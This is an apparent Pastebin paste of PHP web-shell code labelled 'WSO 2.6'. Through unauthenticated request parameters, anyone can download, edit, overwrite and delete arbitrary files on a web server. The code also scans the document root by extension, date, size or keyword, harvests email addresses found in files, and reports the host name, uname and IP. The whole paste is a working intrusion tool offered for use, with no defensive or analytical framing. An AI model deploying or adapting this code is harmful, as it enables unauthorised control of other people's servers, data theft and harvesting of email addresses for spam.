dragondevile

scripts_2

Apr 5th, 2019
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.03 KB | None | 0 0
  1. error_reporting(0);
  2. session_start();
  3. ini_set('max_execution_time', 300);
  4. set_time_limit(300);
  5.  
  6. if($_POST['ac'] == 'D'){
  7. if(@is_file($_POST['ab']) &&@is_readable($_POST['ab'])) {
  8. ob_start("ob_gzhandler",4096);
  9. header("Content-Disposition: attachment; filename=".basename($_POST['ab']));
  10. if (function_exists("mime_content_type")) {
  11. $type = @mime_content_type($_POST['ab']);
  12. header("Content-Type: ".$type);
  13. }else
  14. header("Content-Type: application/octet-stream");
  15. $fp = @fopen($_POST['ab'],"r");
  16. if($fp) {
  17. while(!@feof($fp))
  18. echo @fread($fp,1024);
  19. fclose($fp);
  20. }
  21. }
  22. }
  23.  
  24.  
  25. if(isset($_POST['format'])){ $p_format = $_POST['format'];}
  26. if(isset($_POST['directory'])){ $p_directory = $_POST['directory'];}
  27. if(isset($_POST['find'])){ $p_find = $_POST['find'];}
  28. if(isset($_POST['date'])){ $p_date = $_POST['date'];}
  29. if(isset($_POST['size'])){ $p_size = $_POST['size'];}
  30. if(isset($_POST['remove'])){ $p_remove = $_POST['remove'];}
  31. if(isset($_POST['find_active'])){ $p_find_active = $_POST['find_active'];}
  32. if(isset($_POST['size_active'])){ $p_size_active = $_POST['size_active'];}
  33. if(isset($_POST['mail_active'])){ $p_mail_active = $_POST['mail_active'];}
  34. if(isset($_POST['date_filter'])){ $p_date_filter = $_POST['date_filter'];}
  35. if(isset($_POST['date_only'])){ $p_date_only = $_POST['date_only'];}
  36. if(isset($_POST['date_two'])){ $p_date_two = $_POST['date_two'];}
  37. if(isset($_POST["print"])){$p_print = $_POST["print"];}
  38. if(isset($_POST["table"])){$p_table = $_POST["table"];}
  39. if(isset($_POST["echo"])){$p_echo = $_POST["echo"];}
  40. if(isset($_POST["cmd"])){$p_cmd = $_POST["cmd"];}
  41.  
  42. if(isset($_GET["format"])){$p_format = $_GET["format"];}
  43. if(isset($_GET["directory"])){$p_directory = $_GET["directory"];}
  44. if(isset($_GET["find"])){$p_find = $_GET["find"];}
  45. if(isset($_GET["date"])){$p_date = $_GET["date"];}
  46. if(isset($_GET["size"])){$p_size = $_GET["size"];}
  47. if(isset($_GET["remove"])){$p_remove = $_GET["remove"];}
  48. if(isset($_GET["find_active"])){$p_find_active = $_GET["find_active"];}
  49. if(isset($_GET["size_active"])){$p_size_active = $_GET["size_active"];}
  50. if(isset($_GET["mail_active"])){$p_mail_active = $_GET["mail_active"];}
  51. if(isset($_GET["date_filter"])){$p_date_filter = $_GET["date_filter"];}
  52. if(isset($_GET["date_only"])){$p_date_only = $_GET["date_only"];}
  53. if(isset($_GET["date_two"])){$p_date_two = $_GET["date_two"];}
  54. if(isset($_GET["print"])){$p_print = $_GET["print"];}
  55. if(isset($_GET["table"])){$p_table = $_GET["table"];}
  56. if(isset($_GET["echo"])){$p_echo = $_GET["echo"];}
  57. if(isset($_GET["cmd"])){$p_cmd = $_GET["cmd"];}
  58. ///////////////
  59. $fsize = $p_size;
  60. $filemora = $p_date_two;
  61. $otherday = $p_date;
  62. $formato = $p_format;
  63. $ggg = explode(',',$p_find);
  64. $remove = $p_remove;
  65. $size_active = $p_size_active;
  66. $mail_active = $p_mail_active;
  67. $find_active = $p_find_active;
  68. $date_filter = $p_date_filter;
  69. $date_only = $p_date_only;
  70. if ("DOCUMENT_ROOT" == $p_directory){
  71. $sexhoob = $_SERVER['DOCUMENT_ROOT'];
  72. }
  73. else{
  74. $sexhoob = $_SERVER['DOCUMENT_ROOT']."/".$p_directory;
  75. }
  76.  
  77.  
  78. $api1 = "http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?format=$p_format&directory=$p_directory&find=$p_find&date=$p_date&size=$p_size&remove=$p_remove&find_active=$p_find_active&size_active=$p_size_active&mail_active=$p_mail_active&date_filter=$p_date_filter&date_only=$p_date_only&date_two=$p_date_two&print=on";
  79. $api2 = "http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?format=$p_format&directory=$p_directory&find=$p_find&date=$p_date&size=$p_size&remove=$p_remove&find_active=$p_find_active&size_active=$p_size_active&mail_active=$p_mail_active&date_filter=$p_date_filter&date_only=$p_date_only&date_two=$p_date_two&print=off&cmd=off&table=$p_table&echo=$p_echo";
  80.  
  81.  
  82.  
  83.  
  84. if($p_print == 'on'){
  85. print "<!DOCTYPE html>
  86. <html>
  87. <head>
  88. <meta http-equiv='Content-Type' content='text/html; charset=windows-1251'>
  89. <title>localhost - WSO 2.6</title>
  90. <style>
  91. body{background-color:#444;color:#e1e1e1;}
  92. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  93. table.info{ color:#fff;background-color:#222; }
  94. span,h1,a{ color: #df5 !important; }
  95. span{ font-weight: bolder; }
  96. h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  97. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  98. a{ text-decoration:none; }
  99. a:hover{ text-decoration:underline; }
  100. #pre{font.family:Courier,Monospace;}
  101. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  102. .bigarea{ width:100%;height:300px; }
  103. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
  104. form{ margin:0px; }
  105. #toolsTbl{ text-align:center; }
  106. .toolsInp{ width: 300px }
  107. .main th{text-align:left;background-color:#5e5e5e;}
  108. .main tr:hover{background-color:#5e5e5e}
  109. .l1{background-color:#444}
  110. .l2{background-color:#333}
  111. pre{font-family:Courier,Monospace;}
  112. ok{user-select: text;}
  113. </style>
  114. <script>function toggle(source) {
  115. var checkboxes = document.querySelectorAll('input[type=\"checkbox\"]');
  116. for (var i = 0; i < checkboxes.length; i++) {
  117. if (checkboxes[i] != source)
  118. checkboxes[i].checked = source.checked;
  119. }
  120. }
  121. </script>
  122. <script language='JavaScript' type='text/JavaScript'>
  123. function MM_openBrWindow(theURL,winName,features) { //v2.0
  124. window.open(theURL,winName,features)
  125. }
  126. </script>
  127. </head>";
  128. }
  129.  
  130.  
  131.  
  132. if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
  133. if(isset($_POST['yes'])){
  134. $filename = $_GET['file'];
  135. echo "<br><br><br><font color=red size=3><b>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
  136. unlink($filename);
  137. echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
  138. }else{
  139. if($_POST['update']) {
  140. $filename = $_POST['file'];
  141. if(is_writable($filename)) {
  142. $handle = fopen($filename, "w+");
  143. $isi=$_POST['content'];
  144. fwrite($handle, stripslashes($isi));
  145. fclose($handle);
  146. $stat= "<strong>edited successfully<br>";
  147. } else {
  148. $stat= "<font color=red><strong>Error! File may not be writable.</font>";
  149. }
  150. }
  151. if($_POST['close']) {
  152. echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
  153. }
  154. $filename = $_GET['file'];
  155. if (file_exists($filename)){
  156. $vuln = $_GET['bug'];
  157. $handle = fopen($filename, "r");
  158. $contents = fread($handle, filesize($filename));
  159. $print = '<tr><td align="left" class="me"><span>Name:</span> '.htmlspecialchars(@basename($filename)).' <span>Size:</span> '.(is_file($filename)?wsoViewSize(filesize($filename)):'-').' <span>Permission:</span> '.wsoPermsColor($filename).'<br><span>Create time:</span> '.date('Y-m-d H:i:s',filectime($filename)).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($filename)).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($filename)).'<br><br></td></tr>';
  160.  
  161. print "
  162. <table>
  163. <tr><td align='left' class='me'>$print</td></tr>
  164.  
  165.  
  166.  
  167. <tr><td class='me'>
  168. <form method='post' action=''>
  169. <input type='hidden' name='file' value='$filename'>
  170. <textarea style='margin: 0px; width: 670px; height: 335px;' name='content' cols='80' rows='15'>".htmlspecialchars($contents)."</textarea><br>
  171. </td></tr>
  172. <tr><td align='center' class='me'>
  173. ";
  174. if($_POST['delete']) {
  175. echo "Are you sure to delete ".$filename." ?";
  176. print '
  177. <tr><td align="center" class="me">
  178. <input type="submit" name="yes" value=" Y E S ">
  179. <input type="submit" name="no" value=" N O ">
  180. </td></tr>
  181. ';
  182. }else{
  183. echo $stat;
  184. print'
  185. </td></tr>
  186. <tr><td align="right" class="me">
  187. <input type="submit" name="close" value=" C l o s e ">
  188. <input type="submit" name="delete" value=" D e l e t e ">
  189. <input type="submit" name="update" value=" S a v e ">
  190. </td></tr>
  191. ';
  192. }
  193. fclose($handle);
  194.  
  195. print ' </table></form>';
  196.  
  197. }else{
  198. echo "<br><br><br><font color=red size=3><b>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
  199. echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
  200. }
  201. }
  202. }
  203. function wsoViewSize($s) {
  204. if (is_int($s))
  205. $s = sprintf("%u", $s);
  206.  
  207. if($s >= 1073741824)
  208. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  209. elseif($s >= 1048576)
  210. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  211. elseif($s >= 1024)
  212. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  213. else
  214. return $s . ' B';
  215. }
  216. function extract_emails_from($string){
  217. preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
  218. return $matches[0];
  219. }
  220. function ListFiles($dir) {
  221. if($dh = opendir($dir)) {
  222.  
  223. $files = Array();
  224. $inner_files = Array();
  225.  
  226. while($file = readdir($dh)) {
  227. if($file != "." && $file != "..") {
  228. if(is_dir($dir . "/" . $file)) {
  229. $inner_files = ListFiles($dir . "/" . $file);
  230. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  231. } else {
  232. array_push($files, $dir . "/" . $file);
  233. }
  234. }
  235. }
  236.  
  237. closedir($dh);
  238. return $files;
  239. }
  240. }
  241. function scanfiles($v1,$v2) {
  242. if(function_exists("preg_match")) {
  243. $data = preg_match("/$v1/", $v2);
  244. return $data;
  245. }
  246. elseif(function_exists("eregi")) {
  247. $data = eregi($v1,$v2);
  248. return $data;
  249. }
  250. elseif(function_exists("preg_match_all")) {
  251. $data = preg_match_all("/$v1/", $v2, $matches, PREG_OFFSET_CAPTURE);
  252. return $data;
  253. }
  254. }
  255. function wsoPerms($p) {
  256. if (($p &0xC000) == 0xC000)$i = 's';
  257. elseif (($p &0xA000) == 0xA000)$i = 'l';
  258. elseif (($p &0x8000) == 0x8000)$i = '-';
  259. elseif (($p &0x6000) == 0x6000)$i = 'b';
  260. elseif (($p &0x4000) == 0x4000)$i = 'd';
  261. elseif (($p &0x2000) == 0x2000)$i = 'c';
  262. elseif (($p &0x1000) == 0x1000)$i = 'p';
  263. else $i = 'u';
  264. $i .= (($p &0x0100) ?'r': '-');
  265. $i .= (($p &0x0080) ?'w': '-');
  266. $i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
  267. $i .= (($p &0x0020) ?'r': '-');
  268. $i .= (($p &0x0010) ?'w': '-');
  269. $i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
  270. $i .= (($p &0x0004) ?'r': '-');
  271. $i .= (($p &0x0002) ?'w': '-');
  272. $i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
  273. return $i;
  274. }
  275. function wsoPermsColor($f) {
  276. if (!@is_readable($f))
  277. return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
  278. elseif (!@is_writable($f))
  279. return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
  280. else
  281. return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
  282. }
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291. if($p_print == 'on'){
  292. print '<body>
  293. <div style="position:absolute;width:100%;background-color:#000;top:0;left:0;">
  294. <div style="margin:5">
  295. <script type="text/javascript">
  296. function addorder(name, price){
  297. document.getElementById("cc").value = name;
  298. document.getElementById("bb").value = price;
  299. document.getElementById("myForm").submit();
  300.  
  301. }
  302. </script>
  303. <form method="post" id="myForm">
  304. <input type="hidden" name="ac" id="cc" type="text">
  305. <input type="hidden" name="ab" id="bb" type="text">
  306. </form>
  307. <form action="#" method="post">
  308. <div class="content">
  309. <h1>File Manager</h1>
  310. <table width="100%" class="main" cellspacing="0" cellpadding="2">
  311. <tbody>
  312. <tr>
  313. <th width="13px"><input type="checkbox" onclick="toggle(this);" class="chkbx"></th>';
  314.  
  315.  
  316. if($p_mail_active == 'yes'){print '<th class="ok">Name</th>';}else{print '<th><a>Name</a></th>';}
  317. if($p_mail_active == 'yes'){print '<th>Email</th>';}else{print '<th><a>Size</a></th>';}
  318. if($p_mail_active == 'yes'){print '<th class="ok">Total</th>';}else{print '<th><a>Modify</a></th>';}
  319. if($p_mail_active == 'yes'){print '<th class="ok">Modify</th>';}else{print '<th><a>File Location</a></th>';}
  320. if($p_mail_active == 'yes'){print '<th class="ok">Size</th>';}else{print '<th><a>Permissions</a></th>';}
  321. if($p_mail_active == 'yes'){print '<th class="ok">Actions</th>';}else{print '<th>Actions</th>';}
  322. if(!empty($p_find)){print '<th>Function</th>';}else{}
  323. if($p_mail_active == 'yes'){print '<th>Permissions</th>';}else{print '<th>No</th>';}
  324. print '</tr>';
  325. }
  326.  
  327. $t1 = "<tr>";
  328. $t2 = "</tr>";
  329.  
  330. if($p_cmd == 'off'){
  331. $x1 = "<tr>";
  332. $x2 = "</tr>";
  333. print "<style>table, th, td {text-align: center;border: 1px solid black;user-select: none;}th {cursor: pointer;}style {cursor: pointer;}</style>
  334. <center>
  335. <table>";
  336. if($p_table == 'scan'){
  337. print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>FOUND</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
  338. }
  339. if($p_table == 'size'){
  340. print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>Permissions</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
  341. }
  342. if($p_table == 'date'){
  343. print "<tr><th>Number</th><th>Name</th><th>Size</th><th>Modify</th><th>Creat</th><th>Permissions</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
  344. }
  345. if($p_table == 'mail'){print "<tr><th>TOTAL</th><th>EMAIL</th><th>Size</th><th>Modify</th><th>Basename</th><th>DOMAINE</th><th>UNAME</th><th>IP</th></tr>";
  346. }
  347. }else{
  348. $x1 = "";
  349. $x2 = "";
  350. }
  351.  
  352.  
  353.  
  354.  
  355.  
  356. foreach (ListFiles($sexhoob) as $key=>$file){
  357.  
  358. $explode = explode(".",$file);
  359. foreach($explode as $dexter) {
  360. $rotinabox = $dexter; }
  361. $nFile =".".$rotinabox;
  362. //$nFile = substr($file, -4, 4);
  363.  
  364. if($nFile == $formato){
  365. $lastone=date("Y-m", filemtime($file));
  366.  
  367. if($file==$target.$_SERVER['PHP_SELF']){
  368. }else{
  369. $ops = file_get_contents($file);
  370. $op=strtolower($ops);
  371.  
  372.  
  373.  
  374.  
  375.  
  376. if($date_only == 'yes'){ //scan only by date
  377. if(scanfiles($lastone,$filemora)){
  378. $i++;
  379.  
  380. if($p_print == 'on'){
  381. if($_SESSION["as"] == '1'){
  382. $_SESSION["as"] = '0';
  383. $l = '1';
  384. }
  385. elseif($_SESSION["as"] == '0'){
  386. $_SESSION["as"] = '1';
  387. $l = '0';
  388. }
  389. else{
  390. $_SESSION["as"] = '0';
  391. $l = '1';
  392. }
  393. print "<tr class='l$l'>
  394. <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
  395. <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
  396. <td>".wsoViewSize(filesize($file))."</td>
  397. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  398. <td>$file</td>
  399. <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
  400. <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&amp;file=$file&amp;bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
  401. <td><a><font color='red'>$i</font></a></td>
  402. </tr>";
  403. }
  404.  
  405. if($p_echo == 'date'){
  406. if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
  407. $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
  408. }
  409. else{
  410. $roblox = $_SERVER['HTTP_HOST'];
  411. $ricardo = php_uname('n');
  412. }
  413. print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
  414. <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
  415. <td>".wsoViewSize(filesize($file))."</td>
  416. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  417. <td><span style='color: magenta;'>".date("Y-m-d H:i:s", filectime($file))."</span></td>
  418. <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".wsoPermsColor($file)."</a></td>
  419. <td>$roblox</td>
  420. <td>$ricardo</td>
  421. <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
  422. $t2";
  423. }
  424. }
  425. }
  426.  
  427.  
  428.  
  429. else{
  430.  
  431. if($date_filter == 'yes'){
  432. if(scanfiles($lastone,$otherday)){
  433. $active = 1;
  434. }
  435. else{
  436. $active = 0;
  437. }
  438. }
  439. else{
  440. $active = 1;
  441. }
  442.  
  443. if($active == 1){
  444. if($mail_active == 'yes'){ //scan via hidden email
  445. $emails = extract_emails_from($op);
  446. $text= 'email';
  447. if(!empty($emails)){
  448. $i++;
  449. $fullemail .= (implode("_50f84daf3_", $emails))."_50f84daf3_";
  450. $ex=explode("\n",(implode("\n", $emails)));
  451. foreach($ex as $karkzb){
  452. $_SESSION[$karkzb.'_name'] = "<a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a>";
  453. $_SESSION[$karkzb.'_size'] = sprintf('%1.2f', filesize($file) / 1024 ) . ' KB';
  454. $_SESSION[$karkzb.'_date'] = date("Y-m-d H:i:s", filemtime($file));
  455. $_SESSION[$karkzb.'_email'] = "<a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$karkzb' target='_blank'>".$karkzb."</a>";
  456. }
  457. if($p_print == 'on'){
  458. if (filter_var($ex[0], FILTER_VALIDATE_EMAIL)) {
  459. if($_SESSION["as"] == '1'){
  460. $_SESSION["as"] = '0';
  461. $l = '1';
  462. }
  463. elseif($_SESSION["as"] == '0'){
  464. $_SESSION["as"] = '1';
  465. $l = '0';
  466. }
  467. else{
  468. $_SESSION["as"] = '0';
  469. $l = '1';
  470. }
  471. print "<tr class='l$l'>
  472. <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
  473. <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'><font color='#e1e1e1'>".str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."</font></a><br></td>
  474. <td><a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&amp;file=$file&amp;bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>".$ex[0]."</a></td>
  475. <td><a><font color='red'>".count($ex)."</font></a></td>
  476. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  477. <td>".sprintf('%1.2f', filesize($file) / 1024 ) . ' KB'."</td>
  478. <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&amp;file=$file&amp;bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
  479. <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
  480. </tr>";
  481. }
  482. }
  483. }
  484. }
  485. #########################################
  486. if($find_active == 'yes'){ //scan via source code
  487. foreach($ggg as $bugs) {
  488. if(scanfiles($bugs,$op)){
  489.  
  490. $i++;
  491.  
  492. if($p_print == 'on'){
  493. if($_SESSION["as"] == '1'){
  494. $_SESSION["as"] = '0';
  495. $l = '1';
  496. }
  497. elseif($_SESSION["as"] == '0'){
  498. $_SESSION["as"] = '1';
  499. $l = '0';
  500. }
  501. else{
  502. $_SESSION["as"] = '0';
  503. $l = '1';
  504. }
  505. print "<tr class='l$l'>
  506. <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
  507. <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
  508. <td>".wsoViewSize(filesize($file))."</td>
  509. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  510. <td>".$file."</td>
  511. <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
  512. <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&amp;file=$file&amp;bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
  513. <td style='color: aqua;'>$bugs</td>
  514. <td><a><font color='red'>$i</font></a></td>
  515. </tr>";
  516. }
  517.  
  518. if($p_echo == 'scan'){
  519. if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
  520. $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
  521. }
  522. else{
  523. $roblox = $_SERVER['HTTP_HOST'];
  524. $ricardo = php_uname('n');
  525. }
  526. print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
  527. <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
  528. <td>".wsoViewSize(filesize($file))."</td>
  529. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  530. <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".$bugs."</a></td>
  531. <td>$roblox</td>
  532. <td>$ricardo</td>
  533. <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
  534. $t2";
  535. }
  536.  
  537. }
  538. }
  539. }
  540. #########################################
  541.  
  542. if($size_active == 'yes'){
  543. $find = str_replace(' ', '', wsoViewSize(filesize($file)));
  544. if(scanfiles($find,$fsize)){
  545.  
  546.  
  547. $i++;
  548.  
  549. if($p_print == 'on'){
  550. if($_SESSION["as"] == '1'){
  551. $_SESSION["as"] = '0';
  552. $l = '1';
  553. }
  554. elseif($_SESSION["as"] == '0'){
  555. $_SESSION["as"] = '1';
  556. $l = '0';
  557. }
  558. else{
  559. $_SESSION["as"] = '0';
  560. $l = '1';
  561. }
  562. print "<tr class='l$l'>
  563. <td><input type='checkbox' name='f[]' value='$file' class='chkbx'></td>
  564. <td><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a><br></td>
  565. <td>".wsoViewSize(filesize($file))."</td>
  566. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  567. <td>$file</td>
  568. <td><a><font color='#00BB00'>".wsoPermsColor($file)."</font></a></td>
  569. <td><a onclick=\"addorder('R','$file');\">R</a> <a href='#' style='color: lightgray;' onclick=\"MM_openBrWindow('?edit=file&amp;file=$file&amp;bug=','File view','status=yes,scrollbars=yes,width=700,height=600')\" rel='nofollow'>E</a> <a onclick=\"addorder('D','$file');\">D</a></td>
  570. <td><a><font color='red'>$i</font></a></td>
  571. </tr>";
  572. }
  573.  
  574. if($p_echo == 'size'){
  575. if($i == 1){$roblox = "<a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a>";
  576. $ricardo = "<a href='$api2' target='_blank'> ".php_uname('n')." </a>";
  577. }
  578. else{
  579. $roblox = $_SERVER['HTTP_HOST'];
  580. $ricardo = php_uname('n');
  581. }
  582. print "$t1<td style='font-size: 22px;color: red; text-align: center;'>".$i."</td>
  583. <td style='user-select: text;'><a href='http://".$_SERVER['HTTP_HOST'].str_replace(array($_SERVER['DOCUMENT_ROOT']), "","$file")."'target='_blank'>".basename($file)."</a></td>
  584. <td>".wsoViewSize(filesize($file))."</td>
  585. <td>".date("Y-m-d H:i:s", filemtime($file))."</td>
  586. <td><a href='http://".$_SERVER['HTTP_HOST']."/".$_SERVER['SCRIPT_NAME']."?edit=file&file=$file&bug=$bugs' target='_blank'>".wsoPermsColor($file)."</a></td>
  587. <td>$roblox</td>
  588. <td>$ricardo</td>
  589. <td><a href='http://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
  590. $t2";
  591. }
  592.  
  593. if($remove == 'yes'){
  594. //unlink($file);
  595. }
  596. }
  597. }
  598. }
  599.  
  600.  
  601. }
  602.  
  603.  
  604.  
  605.  
  606. }
  607. }
  608. }
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628. $java = "<script type='text/javascript'>
  629. const getCellValue = (tr, idx) => tr.children[idx].innerText || tr.children[idx].textContent;
  630.  
  631. const comparer = (idx, asc) => (a, b) => ((v1, v2) =>
  632. v1 !== '' && v2 !== '' && !isNaN(v1) && !isNaN(v2) ? v1 - v2 : v1.toString().localeCompare(v2)
  633. )(getCellValue(asc ? a : b, idx), getCellValue(asc ? b : a, idx));
  634.  
  635. // do the work...
  636. document.querySelectorAll('th').forEach(th => th.addEventListener('click', (() => {
  637. const table = th.closest('table');
  638. Array.from(table.querySelectorAll('tr:nth-child(n+2)'))
  639. .sort(comparer(Array.from(th.parentNode.children).indexOf(th), this.asc = !this.asc))
  640. .forEach(tr => table.appendChild(tr) );
  641. })));
  642. </script>";
  643.  
  644.  
  645. if($p_print == 'on'){
  646. print "$java
  647. </tbody>
  648. </table>
  649.  
  650.  
  651. </div>
  652. <tr>
  653. <td colspan='7'>
  654. <select style='width: 101px;margin-left: 10px;margin-top: 6px;margin-bottom: 6px;' name='type'>
  655. <option value='Delete'>Delete</option>
  656. <option value='Copy'>Copy</option>
  657. <option value='Basename'>Basename</option>
  658. </select>&nbsp;<input type='submit' name='go' value='>>'>
  659. </td>
  660. </tr>
  661. </form>
  662. </div>";
  663. }
  664.  
  665. if ($_SERVER["REQUEST_METHOD"] == "POST") {
  666. if($_POST['type'] == 'Copy'){
  667. foreach($_POST['f'] as $string){
  668. $dexter = 'http://'.$_SERVER['HTTP_HOST']."".str_replace(array($_SERVER['DOCUMENT_ROOT']), "",$string);
  669. print "<a href='".$dexter."'target='_blank' style='font: 9pt Lucida,Verdana;color: #f97111;'>".$dexter."</a><br>";
  670. }
  671. print '<br>';
  672. foreach($_POST['f'] as $string){
  673. print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".str_replace(array($_SERVER['DOCUMENT_ROOT']), "",$string)."</b><br>";
  674. }
  675. }
  676.  
  677. if($_POST['type'] == 'Basename'){
  678. foreach($_POST['f'] as $string){
  679. print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".basename($string)."</b><br>";
  680. }
  681. }
  682. elseif($_POST['type'] == 'Delete'){
  683. foreach($_POST['f'] as $string){
  684. //unlink($string);
  685. print "<b style='font: 9pt Lucida,Verdana;color: #f97111;'>".$string."</b><br>";
  686. }
  687. }
  688. if($_POST['ac'] == 'R'){
  689. unlink($_POST['ab']);
  690. }
  691. }
  692.  
  693.  
  694. ///////////////////////////////////
  695. if(!empty($fullemail)){
  696. $ex=explode("_50f84daf3_",$fullemail);
  697. foreach ($ex as $go){
  698. $arr[] = $go;
  699. }
  700. $unique_data = array_unique($arr);
  701. foreach($unique_data as $dfgh) {
  702. if (filter_var($dfgh, FILTER_VALIDATE_EMAIL)) {
  703. if($p_echo == 'mail'){
  704. $datamail .= $_SESSION[$dfgh.'_email']." </a><br>";
  705. $datasize .= "<font> ".$_SESSION[$dfgh.'_size']." </font><br>";
  706. $datadate .= "<font> ".$_SESSION[$dfgh.'_date']." </font><br>";
  707. $dataname .= "<i>".$_SESSION[$dfgh.'_name']."</i><br>";
  708. }elseif($p_print == 'on'){
  709. print $dfgh."<br>";
  710. }
  711. }
  712. }
  713. }
  714.  
  715.  
  716.  
  717.  
  718. if($p_echo == 'mail'){
  719.  
